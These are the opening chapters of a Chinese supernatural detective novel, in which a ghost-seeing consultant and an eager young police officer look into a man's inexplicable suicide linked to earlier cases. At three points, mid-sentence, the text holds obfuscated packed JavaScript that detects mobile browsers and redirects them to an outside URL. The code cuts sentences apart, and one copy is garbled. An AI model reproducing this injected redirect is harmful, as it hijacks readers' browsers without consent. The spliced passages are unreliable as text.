《你别不信邪》 1. 001.自杀 丰城,富华小区,刚过午饭时间,24号楼底下热闹非凡,人群、警车、救护车把路堵了个水泄不通。 “你看见没有,脑瓜都摔烂了……” “看着眼生,谁家啊?” “老肖家的儿子!那个说在外面挣大钱的!哎哟,刚刚老肖都晕过去了给救护车拉走了!” 这本来就是个有些老旧的安置小区,管理混乱,车辆乱停都是常事,这会儿听说有人自杀,看热闹的人挤过来赶都赶不走,更是堵了个严丝合缝。不知道谁家出不了门的大哥疯狂按着喇叭,整片区域的嘈杂度更上一层楼,一片乱象。 楼栋前面拉了警戒线,几个民警正在劝离群众,这会儿又不得不抽出点空来和大哥交涉。 崔人往端着杯全糖草莓奶昔站在不远处,插着兜咬吸管,看热闹。 已经是早春的天气了,但他还穿着厚实的大衣,裹着围巾,肤色白的吓人,多少像是气色不好。 很快,他看见一辆越野车低调地停在了稍显偏僻的拐角,几个穿着便服但明显气势更足的男人朝这里走过来,撩开警戒线上楼。 崔人往认出领头的那个男人——丰城重案组的陆正陆队长。 身后跟着的几个年轻人里有个个头和身高都格外显眼的,崔人往盯着他漫不经心地想,看来事情确实有蹊跷,自杀案都把重案组给惊动了。 他正要收回目光,走在最后的那个出挑的年轻警察忽然转过头,两人猝不及防对上了视线。 崔人往:“……” 好敏锐的直觉。 他淡淡收回视线,对面的那个却没挪开目光,直到楼栋里有人喊他:“谢重阳!跟上,干嘛呢!” 年轻警官一怔,连忙扭头跟上去。 “怎么,自杀案提不起精神啊?”同僚杜理科打趣他,“上现场还能走神?” “没有。”谢重阳摇摇头,“我刚刚在门口看见一个……人。” “门口那不都是人。”杜理科嗤之以鼻,前头年纪稍长的钱松感兴趣地插嘴:“怎么,又有直觉了?那人可疑?” “也……不算是可疑。”谢重阳拧起眉头认真思索,“他盯着我,还很显眼。” “先看现场。”陆队长发话,没人再敢有异议,连忙准备干活。 …… 24栋楼下,目送他们进楼后,在人群里听了不少真真假假八卦的崔人往也准备离开。 正巧手机铃声响起来,来电显示“张道长”,崔人往接起,对面问的着急,一听就是个急性子:“怎么样?有情况没?” “嗯。”崔人往把喝完了的草莓奶昔放在几乎堆满的绿色垃圾桶上,险险保持了平衡,这才回答,“很黑。” “哦——”张道长听明白了,“那就是阴气重!” “对。”崔人往插着兜往外走,心想早知道点热的了,喝了一肚子冰甜水,现在觉得自己也像块冰渣,他懒懒开口,“自杀,魂没了,阴气重,都对上了,更多的得问警察。” “行!”张道长很快应声,“我们几个很快就要到丰城了,到了我就去现场看看。你去派出所等着吧,我先让人把资料拿给你。” “不是派出所。”崔人往提醒他,“重案组来了,我看见陆正了。” “啊?”张道长有些意外,“行,那我联系那边,你就去公安局等。” 崔人往还没挂电话,就听见那边传来个女孩的声音:“老大能行吗?那边都是陌生人,老大怕生啊。” “哎呀,等咱们办公室批下来,马上就是同事了,迟早要熟悉的。”张道长哄着他,“加油啊小崔,我看好你!” 崔人往:“……啰嗦。” 倒也没怕生到那个地步。 他朝小区门口走去,路过个拐角看见地上烧过的灰堆,还有个倒了的花圈,脚步顿了一下。 这老小区里住的老年人多,一个冬天又走了几个,更显得暮气沉沉。这东西摆在这不太吉利,路过的人大多避着走,他蹲下来把花圈扶起来,对着纸堆旁问:“灵堂在哪?怎么摆这里。” 他抬着花圈绕了几个弯,在布局格外不科学的小区里找到个搭建在几个停车位上的木圆堂,里面大抵是刚吃过丧事席,还有人在忙碌。 崔人往举着个花圈还算显眼,把个干活利落的阿姨吓了一跳,她连忙问:“这是……” “这家的花圈。”崔人往把花圈放下了,不打算多事,但他的衣服被不轻不重地拽了一下,只好微微侧首听他说完话。 哦,原来是跟家里闹掰了的孙女买的花圈,家里人不肯留下,故意扔到了外头,但思念孙女的老人念念不忘,反倒跟过去。 崔人往把这东西又扛回来,看起来有点像找茬。 幸好这会儿主人家都不在。 崔人往听完了絮絮叨叨的魂魄说话,冲他点了下头,转身又往小区门口去了。 他本来就怕冷,刚被鬼魂拽了一下,面色又白了几分,嘴唇都没了血色。 他走出小区门口,拐进隔壁奶茶店,又点了杯热的草莓茶捂在手里,这才打车去公安局。 开车的司机话多的要命,先是点评崔人往的发型,接着指点他的穿着,然后攻击他的奶茶,最后才问:“哟,你去公安局啊,干什么?” 崔人往凉飕飕地说:“自首。” 司机沉默了,憋了几分钟没忍住问:“犯什么事了啊兄弟?” 崔人往咬着吸管掀了掀眼皮:“杀人。” 司机彻底安静了。 崔人往到了地方,按照张道长交代的把文件给人家,就被在大厅安排了个座位——重案组那些人也回来了,暂时抽不出空,要他稍等。 崔人往也不介意,把厚重的围巾往上拉了拉,往后一靠,闭上眼睛休息。 公安局是个好地方,阳气重,还暖和,也不会突然有鬼出来拉着他说话。 …… 询问室。 死者肖子杰的妻子顾嘉怡还在擦眼泪,哽咽着说:“没有什么事啊,真的什么事都没有,我们日子过的好好的,坐在饭桌上,一家子人一句嘴都没有拌,他突然就开窗户去了……我还以为是空调开热了他要通风,谁知道他直接就跳下去了!” 一旁的女警江定给她递了纸,杜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984552|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理科板着脸问:“家里没有纱窗?” “有啊,对啊有纱窗……”顾嘉怡猛地抬起头,眼神晃动了片刻迟疑着说,“但纱窗也是能开的,他、他大概是一起打开,跳下去的。” 她猛地吸了下鼻子,撩了撩垂下的额发,噙着眼泪问,“爸妈还好吧?我什么时候能去医院看他们?” 杜理科蹙了蹙眉头:“还得等等。” “你们要干什么呀!”顾嘉怡忽然情绪有些激动,“他跳下去以后我连他最后一面都没见到!我们一家人一起在餐桌上的,他爸妈都眼睁睁看着他跳下去的,他就跟中邪了一样!你们这样盘问我是什么意思啊!” 询问室门外,谢重阳正靠着门认真听着,陆正拍了下他的肩膀,把一叠资料递给他:“医院那边也问完了,这边也问不出什么了,大厅那边有个叫‘崔人往’的,你去找他。” “他问什么你就答。” “啊?”谢重阳正疑惑,陆正摆摆手:“先别问,先去。” “是。”谢重阳老老实实带着资料出去了,一眼就看见大厅里曾在富华小区跟他有一面之缘的那个年轻人。 他连忙停下脚步,问身边的同事:“哎,那个人是……” “拿着介绍信来的,你们那个案子的特别顾问。”同事颔首,“就在这等你们呢,赶紧去吧。” 谢重阳认真思考片刻,忽然扭头又冲了回去。 “队长!”谢重阳冲到陆正面前,陆正正打算偷摸叼根烟过过瘾,被他吓得烟掉下来,连忙说:“没抽!” 谢重阳盯着他:“队长,你不是说答应戒烟了吗怎么身上还有烟?” “多嘴。”陆正有些心虚地揣好烟,问他,“办完了?” 谢重阳理直气壮:“没。” “没你回来干嘛?”陆正气不打一处来,教训他还得抬头,累得慌。 “那个人我见过。”谢重阳拧眉,“在24号楼底下,他当时盯着咱们。” “是不是要先确认他跟案子没关系啊?” 陆正无言:“他问过警局才去那边看看情况的。” “哦。”谢重阳心虚地转身,陆正又叫住他,迟疑一下开口:“你多跟他聊聊,问问他到底什么来历,然后看看他有没有本事,回来跟我汇报。” “明白。”谢重阳带着任务和资料,伸手把陆正的烟掏走了,“别抽了队长,不然我告诉嫂子。” “你!”陆正指着他,谢重阳快步走向了大厅。 崔人往刚刚睡醒,正没什么精神地盯着门口那盆绿植看,看起来懒散又脆弱。 谢重阳在他面前站定,几乎把他笼罩在自己的阴影里,他一本正经地打招呼:“你好,我是丰城重案组谢重阳。” 崔人往:“……” 这么巧,居然是他来送资料。 崔人往朝他伸出手,谢重阳伸手握住,露出一个阳光灿烂的笑脸以示友好。 ……像只大金毛。 崔人往猝不及防被他暖洋洋的手握住,整个人也清醒了。 他说:“……我是要资料。” 不是跟你握手。 2. 002.突破口 “哦,给你。”谢重阳握着他的手晃了晃,丝毫没觉得什么不对,这才把手里的资料递给他。 他指了指旁边空着的询问室:“那里空着能用。” “嗯。”崔人往应了一声,翻着资料站起来,谢重阳看他没在看路,伸手扣住他的手腕带着他往房间走。 “你……”崔人往还没来得及拒绝,就被人一把薅进了房间,谢重阳熟练地翻了纸杯出来:“喝茶吗?还是热水?” 崔人往看了眼自己手边的奶茶,谢重阳已经走向饮水机了:“你手凉成那样,喝点热的吧。” 崔人往摸了摸已经变成常温的草莓茶,垂下眼说:“热水,谢谢。” “不用谢。”谢重阳挨着他坐下来,问他,“你了解案情了吗?” 崔人往微微蹙起眉头,拉着凳子不动声色地往旁边挪了挪,谢重阳又挨过来:“要我给你讲讲吗?” “警官。”崔人往微微坐直身体,“你能不能坐对面?” “审犯人才面对面啊。”谢重阳侧头看他,目光率直得叫人有点招架不住,“我队长说我坐人对面盯着人看太有压力。” 崔人往:“……你队长说得对。” 但你坐在旁边也照样叫人很有压力。 他垂下眼看手中的资料,死者肖子杰的父母在医院,但也有警察跟着,人清醒后进行了必要的询问,老两口的口供对比肖子杰妻子顾嘉怡的,几乎没有出入的地方。 都是强调,肖子杰经济状况良好,家里不说富贵滔天也至少能算小康,哪哪都美满,他不可能突然自杀。 但他偏偏就是这样在大家眼皮子底下打开窗户跳了下去。 “死者父母和妻子的口供,细节都对的上,现场痕检也都佐证了他们的说法。”谢重阳撑着桌子,“肖子杰自杀应该是不争的事实,现在的疑点,应该是一个完全没有自杀理由的人为何突然自杀。” “肖子杰母亲提起了他们俩结婚五年没孩子,顾嘉怡说之前家里一直由老两口补贴,肖子杰是近一年做生意才突然挣了大钱,性格变得有些张扬,经常刁难快递、外卖和服务员,讨厌他的人应该不少,但恨他说不上。而且和这些人的冲突,他也不会自杀。” “时间紧张,我们还没来得及完全把他的社会关系摸排清楚,所以……” 崔人往对比着肖子杰母亲和妻子的询问记录,终于在上面找到了他想找的东西。 他打断了谢重阳的分析,问他:“顾嘉怡为什么说,肖子杰跟中邪了一样?” 因为他莫名其妙自杀…… 谢重阳话还没出口,崔人往又指着肖子杰母亲的记录问:“他母亲也一直在说‘见鬼了’。” 谢重阳忽然意识到了什么。 “中邪”、“见鬼”,像是表达夸张的手法,但万一他们其实在陈述呢? 他猛地站起来,拉着崔人往一起:“一起去!问她!” “哎……”崔人往被他拽着一路狂奔到了询问室门口,谢重阳敲了敲门,杜理科开门出来,跟他交头接耳了几句,飞快瞄了一眼崔人往,点点头又关门进去了。 刑警打量人的眼神多少带着审视,像是要一眼记住眼前人的身体特征一样,让人不那么舒服。 崔人往面无表情理了理自己被拽得有些松散的围巾,站在原地没动。 谢重阳回头对他招招手,把门口最好的偷听位置让给他:“来听啊!” 询问室里头,杜理科已经重新坐下,他盯着顾嘉怡问:“你之前说,肖子杰像中邪了一样,为什么这么说?” “他有什么特别的中邪表现吗?” 顾嘉怡擦眼泪的动作停滞了一下,她下意识攥紧了手,杜理科装作不耐烦地轻轻敲了敲桌子:“问你话呢。” 江定负责唱白脸,用手肘拱了他一下:“那么凶干什么,她又不可能是凶手。” 顾嘉怡一下子哭出来,哽咽着说:“我、我怕说了你们也不会相信啊。” “他坐在饭桌前低着头嘀嘀咕咕的,我以为他又在给爸妈做的饭挑毛病,就说了他两句让他把嘴闭上好好吃饭,我、我就说了这么两句,他声音一下子就大了!我才听清他在说什么。” “他说他这一辈子都过的不如意,所有人都把他当成傻子,还说……” 她捏着皱巴巴的纸团,“什么替人受过,工作没了、老婆跑了、孩子也不认他……这怎么可能呢,他从毕业就没上过一天班,一直都是自己在创业什么的,什么叫‘工作没了’?还老婆跑了,我就在这呢呀,孩子、我俩根本没孩子啊!” 她忽然往前探出身体,“警察同志,他、他会不会外面还有人啊,那人跑了,把他甩了,他们俩还有个孩子!” 说着说着她又带上了哭腔,一时间情绪失控,哭得不能自已。 谢重阳听得愣住,拧着眉头思考片刻,扭头对崔人往说:“你等我一下,钱松在医院陪着他父母,我让他也确认一下!” 他走出两步打了个电话,崔人往就靠着门观察他的表情。 很快,谢重阳挂了电话,看表情,应该是确认了。 谢重阳睁大了眼睛,显得有些惊喜:“他母亲也是这么说的,说肖子杰像被鬼附身了。” “她坚持说那不是他儿子,肖子杰不是自杀,因为他说话的腔调有北方口音,跟肖子杰平常说话的语气完全不一样。” 他抱着臂认真思考,“老人家应该是有点迷信,但至少可以证明,肖子杰自杀前是有古怪表现的!” “嗯。”崔人往得到了自己想要的情报,已经准备离开,他敷衍地点了下头,正要告辞,谢重阳又凑到他眼前了:“哎对了,我还没问呢,他们只说你是特别顾问,你是哪个方面的特别顾问啊?一下就找到突破口了,心理方面的专家吗?” 崔人往抬眼对上他的视线:“这案子有鬼。” “我知道。”谢重阳笃定点头,“不然普通自杀案不可能来我们重案组。” 崔人往无言看着他:“我说的是鬼,鬼魂的鬼,不是蹊跷的意思。” “嗯?”谢重阳眼珠左右晃动了一下,接着真诚又疑惑地盯着崔人往,从鼻腔里发出了一个表达迷惑的音节。 “我能见鬼。”崔人往插着兜,“是这方面的专家。” 他有点头疼,老张不是说他搞定吗?怎么重案组里一个熟悉情况的都没有。 “啊——”谢重阳恍然大悟地微微后仰,忽然凑近搭着他的肩膀说,“我知道了,你是算命的那种骗子吧!” “你肯定是摆摊骗人被逮过,然后当了我们队长的线人对不对?” 他认真地拧眉问,“这事是不是跟封建迷信有牵扯?” 崔人往:“……” 他缓缓扭头过头,对上谢重阳的视线,皮笑肉不笑地拍开他的手,往后一步拉开距离。 “哎。”谢重阳挠挠头。 崔人往站定,平静地说:“这件案子到你们重案组,是因为以前还发生过三起重要锚点完全一致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984553|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的‘自杀案’。” “死者生前宣称自己‘替人受过、工作丢了、妻子跑了、孩子不认’,然后跳楼自杀,就好像一个落魄失意的鬼魂不断重复着自杀前的动作。” “我们还找到了正主,5年前因工作重大失误被辞退,并被公司告上法庭,妻离子散的自杀者李成,北方人。” 还有现场死者的鬼魂会消失,只留下浓重的阴气……这种专业的就先不跟他说了。 崔人往很喜欢这位年轻警官仿佛世界观重塑一般的震惊表情,他有些恶劣地勾了勾嘴角笑道:“现在你相信这个案子有鬼了吗?” 谢重阳表情瞬间严肃起来:“诡异的群体自杀事件,这很有可能是‘□□’的翻版!” “之前在国外,有人利用聊天室教唆青少年自残自杀,称之为‘□□’,借由网络这个游戏飞速扩散,世界各地都有青少年离奇自杀死亡。” “如果这是相似的东西,那性质更加恶劣,他们居然能精神操控一个成年人!而且他们死前如果都说了相似的话,那很有可能就是有人将李成的经历和人生根植到了这些被害者的脑内,让他们由衷地相信自己就是‘李成’,把他们一步步推向自杀的深渊!” 崔人往:“……” 他安静思考了片刻,诧异地低语,“居然还真说得通。” 谢重阳一脸欣赏地重重拍了拍他的肩膀:“你等等我告诉队长!” 崔人往被他拍得肩膀一歪,看了眼自己的手机,面无表情地转身往外走。 谢重阳回头喊他:“去哪啊小崔!” 崔人往:“……” 这人是不是有点自来熟的过分了。 他面无表情:“抓鬼。” “等等我!”谢重阳发了条语音给队长,又快步跟上去,“是去抓背后搞鬼的人?你有线索?” 崔人往纠正他:“不是抓搞鬼的人,是抓鬼。” “行,我知道。”谢重阳很体贴地点头,“尊重你的职业习惯,你可以管他叫‘鬼’,抓人得警队出动,你不能一个人去!” 崔人往生怕他叫上整个重案组倾巢出动:“……不抓人。” “你有车吗?” “有啊。”谢重阳晃了晃车钥匙。 崔人往跟着他走到车边,正要后座落座,又被谢重阳拎到了副驾驶上。 “你坐后面不方便帮我指路。”谢重阳笑眯眯地帮他扣上安全带,“去哪?不用担心,队长说今天我归你指挥!” 崔人往了无生趣:“出门右转500米停。” “这么近!”谢重阳震惊,“难道就在我们眼皮子底下?” 他按照崔人往的指引到了地方停车,崔人往下车,谢重阳紧随其后。 然后两人一前一后进了一家奶茶店。 谢重阳刚迈进去,又震惊地倒退两步抬头看招牌:“奶茶?” 崔人往已经在扫码点单了,头也没抬问他:“喝什么?” 谢重阳震惊:“你不是刚手里有一杯……” “喝完了。”崔人往垂眼,“不说给你点新品了。” 他选了个新品,然后自己点了杯全糖草莓生椰。 谢重阳还在挠头,但没在奶茶店员面前聊案子:“喝那么多?一天两杯不行吧!” “是第三杯。”崔人往理直气壮,“我没吃饭。” 谢重阳拧起眉头:“那你就不吃饭了?” “有道理。”崔人往颔首,“加一份米麻薯小料。” 3. 003.地址 崔人往点单完成,就找了个座位坐下。 他一向是能坐着绝不站着,谢重阳只好也跟着在他对面坐下。 奶茶店的座位小,身高腿长的谢重阳坐着多少有些局促,他轻咳一声:“我……不好让你请我。” 他严肃地说,“作风问题。” 崔人往掀了掀眼皮:“那你转我16。” “行。”谢重阳果断拿出手机,“我加你联系方式。” 他飞快操作,给崔人往转了十六块钱,露出如释重负的笑容。 崔人往瞄了眼手机屏幕,有些恶劣地弯了弯嘴角,举起手机点击收钱,笑眯眯地说:“谢警官,那我们这算有金钱往来了?” 谢重阳:“!” 崔人往大概是觉得他的表情有意思,靠着椅背低低笑起来。 谢重阳这才注意到,他有一双桃花眼,笑起来水光潋滟,格外招人。 他有些不好意思地别开视线:“呃,我……” 奶茶店及时叫号解救了尴尬的谢警官,他飞快起身:“我去拿!” 崔人往也没跟他抢,看了眼老张的消息,正要再发个表情包,张道长的电话已经跟催命一样响起来了。 ……这急性子。 崔人往接起电话,谢重阳正好拿着奶茶回来,也没插嘴,乖乖把他那杯奶茶放在面前,还体贴地帮他插上了吸管。 “哎,小崔啊!”张道长的声音急烘烘的,“我们这儿有点进展,趁着阴气还没散,我们追鬼去了!然后中间我们发现那鬼魂停留过一个地方,我记下了地方,你去那边!” “好。”崔人往应声,老张又问:“哎对了,你吃饭没啊?别又忘了吃饭!” 崔人往说谎不打草稿:“吃了。” 正在品鉴新品奶茶的谢重阳“嗯?”一声就抬起了头,震惊地盯着他。 老张追问:“真的假的?吃了什么?” 崔人往对上他的视线,理直气壮地说:“粥。” 他咬着吸管盯着谢重阳,威胁般轻轻磨了磨牙,他说,“甜粥。” 谢重阳:“……” 老张不疑有他,交代他:“少吃点甜的吧你,我看吸血鬼咬你一口都得得糖尿病!警局有人跟着你吧?你找个会开车的,省的你又怕司机跟你搭话。” “挂了啊!” 崔人往先一步挂了电话,长出一口气。 谢重阳小声说:“你怎么骗人啊。” 崔人往没跟他掰扯这个,把老张发来的地址转发给谢重阳:“去这里。” 谢重阳确认地址:“丰城新村7号门602。” “这里有谁?” “去了才知道。”崔人往提醒他,“只是调查。” 事情牵扯到鬼魂,从世俗角度应该抓不到证据,警队没理由出动抓人。 谢重阳点点头:“那我跟队长报备一声。” 崔人往撑着下巴看他:“什么都得跟他说?” “出外勤要报备是基本素质。”谢重阳理直气壮,“否则算无纪律无组织!” 崔人往轻笑一声:“真乖。” 谢重阳表情古怪,这算……夸吗? “走吧。”崔人往看他发完消息,已经拎着奶茶站起来,谢重阳站起来跟在他身后,帮他推开店门低下头跟他说话。 两人的距离比起刚开始,自然而然地近了不少。 …… 丰城新村。 谢重阳按着导航到了7号门附近,可惜这里的道路糟糕程度比起富华小区有过之而无不及,兜了两圈都没找到一个能正常停车的地方,崔人往提议:“你去找停车的地方,我先下去。” “也行……”谢重阳交代他,“那你等我再一块上去。” “嗯。”崔人往应了一声,看着他的车慢慢消失,扭头就进了7号楼。 丰城新村是个典型的城中村,租金低廉,环境糟糕,旧居民楼没有电梯,卡着建筑标准建了6楼,一般来说,6楼的租金也是最便宜的,住在这种地方,经济状况想必不会太好。 老旧的水泥墙洇出潮斑,崔人往经过二楼的铁门,清楚听见了屋里的说话声——这地方的隔音恐怕也跟纸糊的一样。 等他慢吞吞爬到6楼,已经撑着膝盖直喘气了。 他深吸两口气,忍着充斥着鼻腔的古怪霉味,看向602门前。 ——怪不得老张急着要去追,才这么一会儿,这地方的阴气已经淡得几乎看不出了,再慢点就真追不上了。 崔人往站到门前,抬手找了一圈没找到门铃,只好换了个手势敲了敲门。 门内没人应声,但门上的猫眼没了光亮,像是有人正趴在上面往外看。 崔人往:“……” 他又敲了敲门。 两个人像是比赛谁更有耐心一样,一个站在门内盯着门外的不速之客,一个站在门外有节奏地一下一下敲着门。 “砰”一声,602的门没开,601一个光膀子大哥一下就推门出来了,他风风火火吼了一声:“别敲了!快递外卖都放门口,这小子跟死人一样不会开门的!” 来人语气目光都不善,他见崔人往面生,打量着他问,“你干嘛的!” 崔人往转头,随口说:“……催债的。” 光膀子大哥面露怀疑:“啊?你这体格催债?” “先礼后兵。”崔人往拉了拉围巾,神色恹恹,“我是礼。” 光膀子大哥下意识问:“兵呢?” 崔人往扭头,看向楼梯拐弯处的影子——谢重阳没多久就跟上来了,但他还算聪明,没贸然冲上来,只在拐角处等着。 崔人往喊了一声:“兵。” 谢重阳抬着头探出身体,睁大眼睛指了指自己。 崔人往勾勾手指,谢重阳两三步迈上来,在他身边站定,居高临下地打量着眼前的男人:“来了。” 他这体格还挺能唬人,气势汹汹的光膀子大哥一下子和善了不少,他警惕地瞟了谢重阳一眼,嘟囔着问:“他、他欠钱啊?” 崔人往抬头看向601门上,拱了拱谢重阳示意他一块抬头——上面挂着个圆圆的家用摄像头。 谢重阳心领神会,他说:“看下监控。” 光膀子大哥:“凭什……” 他看见谢重阳举起的警官证,瞬间熄了火,眼神在两人之间瞟来瞟去,讪讪开口:“……我、我拿手机。” “可以先进来,啊,不用换鞋。” 两人进了光膀子大哥的家,两人一人一张小板凳,凑在一块加速看监控。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984554|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 大哥买的监控是个便宜货,储存空间也小,只保存三天,但也够用。 崔人往说:“从今天中午11点以后开始看就行。” 谢重阳挑眉——那是肖子杰自杀的时间。 虽然不知道为什么前面不用调查,但他还是照做了。 监控从11点开始快进,快到12点的时候,一个身材瘦小的年轻男人打开了门,把一个快递盒放在了门前,还下意识抬头看了一眼监控的方向。 大约五分钟后,一个穿着快递制服的年轻男人到了601门前,捡起地上的快递离开了。 崔人往问:“你知道这是哪个快递公司的快递员吗?” 光膀子大哥坐在他俩对面,看起来有些坐立难安,闻言连忙凑近了看:“这通那通都是他送,哦,还有最快那个同城送也是他,这一片基本都归他。” 崔人往又问:“有他联系方式吗?” 大哥偷瞄向谢重阳,他还在看后面的记录:“呃……没存,但手机里翻翻应该有记录。” “还有可疑的人。”谢重阳忽然抬起头,指着屏幕上拐角处出现的两个人。 一个留着灰白中长发的老人,一个戴着口罩帽子只露出眼睛的年轻女孩,两人站在拐角下方的台阶上,对着602比划了什么,停留了大概一分钟就离开了。 谢重阳来了精神:“可疑吧!” 崔人往:“不可疑。” 他轻咳一声,“我的人。” 谢重阳瞪大眼睛。 崔人往觉得这两人反侦察意识弱到有些丢人,那么大个监控都没看见还被人当成可疑人物拍下来了,轻咳一声说:“给咱们地址的人。” “哦——”谢重阳恍然大悟,遗憾地收回目光,还是对光膀大哥说,“这个视频资料你传给我。” “呃,行是行。”大哥偷瞄着他,有点扭捏,含蓄地暗示,“我这屋里没网。” 谢重阳:“啊?” 大哥梗着脖子破罐破摔开口:“我现在也是花流量让你们看呢,我一个月没多少,你这……视频太大了,流量费,给不给报销啊?” 谢重阳:“……” 崔人往:“给你一百,再问你两个问题。” “成!”大哥飞快答应。 谢重阳震惊:“怎么能用钱解决问题……” 崔人往捂住了他的嘴:“把那个快递员的电话也给我们。” 大哥连连答应,崔人往松开手,示意谢重阳开口:“好了,有问题问吧。” 谢重阳有些憋屈,但还是忍住了没跟他争论,先问男人:“你跟隔壁602的住户认识吗?你为什么对着他的门口装摄像头啊?” 大哥支支吾吾:“我、我在我家门前装,怎么是对着他门口……” 谢重阳点了点正在传输中的视频:“你的监控视角能把他大门完整拍进去,但自家大门就只能拍到上半部分,尤其是快递、外卖最常放的靠门边地上位置完全是视觉死角。这看起来可不像是为了看自家门前装的监控。” 大哥:“……” 崔人往补充一句:“不犯法。” 大哥如释重负,立刻老实交代:“我跟他有点过节。” “隔壁那个小子,他有点、有点邪性,你知道吧?” 4. 004.快递 谢重阳面无表情:“……你继续说,我在听。” “哦。”大哥拉着凳子往他们面前挪了挪,把手机放到一边传数据,摆出了讲鬼故事的架势,“隔壁的人,你们见过吗?我不知道他名字啊,但我跟他打过照面。” “长得跟棺材里爬出来的一样,阴恻恻的看了让人不舒服,当然,光这样我也不至于这样盯着他。” “主要是,有一回我出门的时候,发现他门口有血!” 他语气激动地比划着,“一开始地上一滩我踩着了,我还当是尿呢!结果我一脚……” 他卡壳一下,改口说,“我是说,那个,看了一下,结果是血。” 谢重阳板起脸:“实话。” 大哥讪讪:“我一脚踹他门上了,一个血脚印,吓我一大跳,差点报警。” 谢重阳板起脸挺有威慑力:“那最后怎么没报警?” “他吭声了,说是鸡血。”大哥挠挠头,“我让他开门,他又不吭声了,我骂……说了他两句就走了。” “我本来也不太爱跟警察打交道,就、就没报警。” 谢重阳一边记录一边问:“你分辨过是不是鸡血吗?” 大哥摇摇头:“这怎么分辨?我也分不清啊!他说是,我就当是了,我当时觉得……他看着也不像是有胆子杀人的。” “但是吧,这事没结束。” 他又凑近一点,“你们上来的时候有没有发现,他家特别臭。” “腥臭。” “虽然说我们这儿味闻起来都不怎么样吧,但是他家门前的那个味,就是血腥气!” “我都有点受不了,我就想问问他是不是不扔垃圾,毕竟我也基本看不见他出门。” 他忍不住演了咽口水,“但我那天……就、就有第六感一样,你知道吧?我打算敲门之前,就凑到他门框上摸了摸,你们猜,我摸到什么了?” 谢重阳挑眉:“我们还得猜?” 大哥连忙说:“血啊!他门框那个缝里!有不知道干了多久的血!又腥又臭,都黑了!然后我仔细一看,他那个门、整个门缝里都是血啊!鬼画符一样!” 崔人往问:“拍下来了吗?” 大哥一个劲地摇头:“我叫都不敢叫出来,赶紧跑出去在浴室待了一晚上!” “回来以后我就搞了个监控,我就想看看他在干什么,但没抓到过他有什么奇怪的动作。” 谢重阳拧眉:“今天倒是没闻到腥臭味。” 崔人往:“嗯,只有霉味。” “没有吗?”大哥不信邪地起身开门,飞快凑到602门前抠摸了一阵,最后讪讪扭头回来,“好像今天真没了……他不会知道你们要来吧?” 他神神秘秘地凑过来,“他犯什么事了啊警官?不会真是那种变态杀人狂吧?” 崔人往问:“怎么样算普通杀人狂,什么样算变态杀人狂?” 谢重阳一怔:“这是重点吗?” “随口问问。”崔人往又问,“你没印象他家是什么时候不臭了的吗?” 男人摇摇头,崔人往只好问,“好吧,那你发现他家有血是多久前?” “一个月前就有了!”大哥这倒是很笃定,“后面我想来想去不放心,就装了那个监控,也一直没看见他出来对门缝做什么。” “我是觉得他有问题,但我也不想惹麻烦,我就没报警。” 谢重阳问:“怎么不搬家?” 大哥讪笑两声:“有钱搬家我也不住这了啊。” “这六楼,没装网,没有比这更便宜的了。” 崔人往问谢重阳:“你还有要问的吗?” “现在没了。”谢重阳看向大哥,“你给我留个联系方式,有需要我还得找你咨询情况。” 大哥张了张嘴,崔人往掏出手机:“收款码。” “没问题!”大哥立刻改口,“录像传好了,快递号码也发给您二位了!我随叫随到。” 谢重阳诧异:“没工作啊你?” 大哥尴尬地摸摸鼻子:“有的,就是最近没活……” 崔人往已经站起来,大哥热情地把他们送到门口,然后迫不及待地关上了大门。 谢重阳回头看了眼门的功夫,崔人往已经蹲到了门边上。 他观察着门缝里的痕迹,谢重阳也跟着凑过来,脑袋就几乎搭在他的脑袋上,认真分析:“看起来像是近期清洗过。” 崔人往:“……” 他从谢重阳脑袋底下绕出来起身,在门前站定。 ——猫眼依然暗着。 崔人往凑到猫眼前,故意轻声说:“我知道你在家。” 谢重阳惊讶地看他。 崔人往接着说:“你以为把它送走就好了吗?你沾上了他的因果,它会回来找你的。” 谢重阳一把捂住了他的嘴,震惊地问他:“怎么恐吓别人呢!” 崔人往:“……” 他伸手扣了扣谢重阳的手指,没掰开,只好翻了个白眼拍拍他的手背,谢重阳这才松开一点。 被他这么一打岔,没了气氛,崔人往也不再多说,转身下楼。 下六楼至少比上六楼轻松点。 谢重阳走在他后面,像被他限速了一样。 崔人往察觉到他可能想说什么,但故意没回头也没问。 等办完这件事估计之后也不会再怎么有联系,用不着牵扯那么多。 两人回到车上,崔人往靠进坐垫里开口:“联系快递员吧,几个小时前,如果是同城快递,可能还没到。” 而且张道长他们很可能就是跟着快递员的痕迹追上去了,他们两方人马,也算是殊途同归。 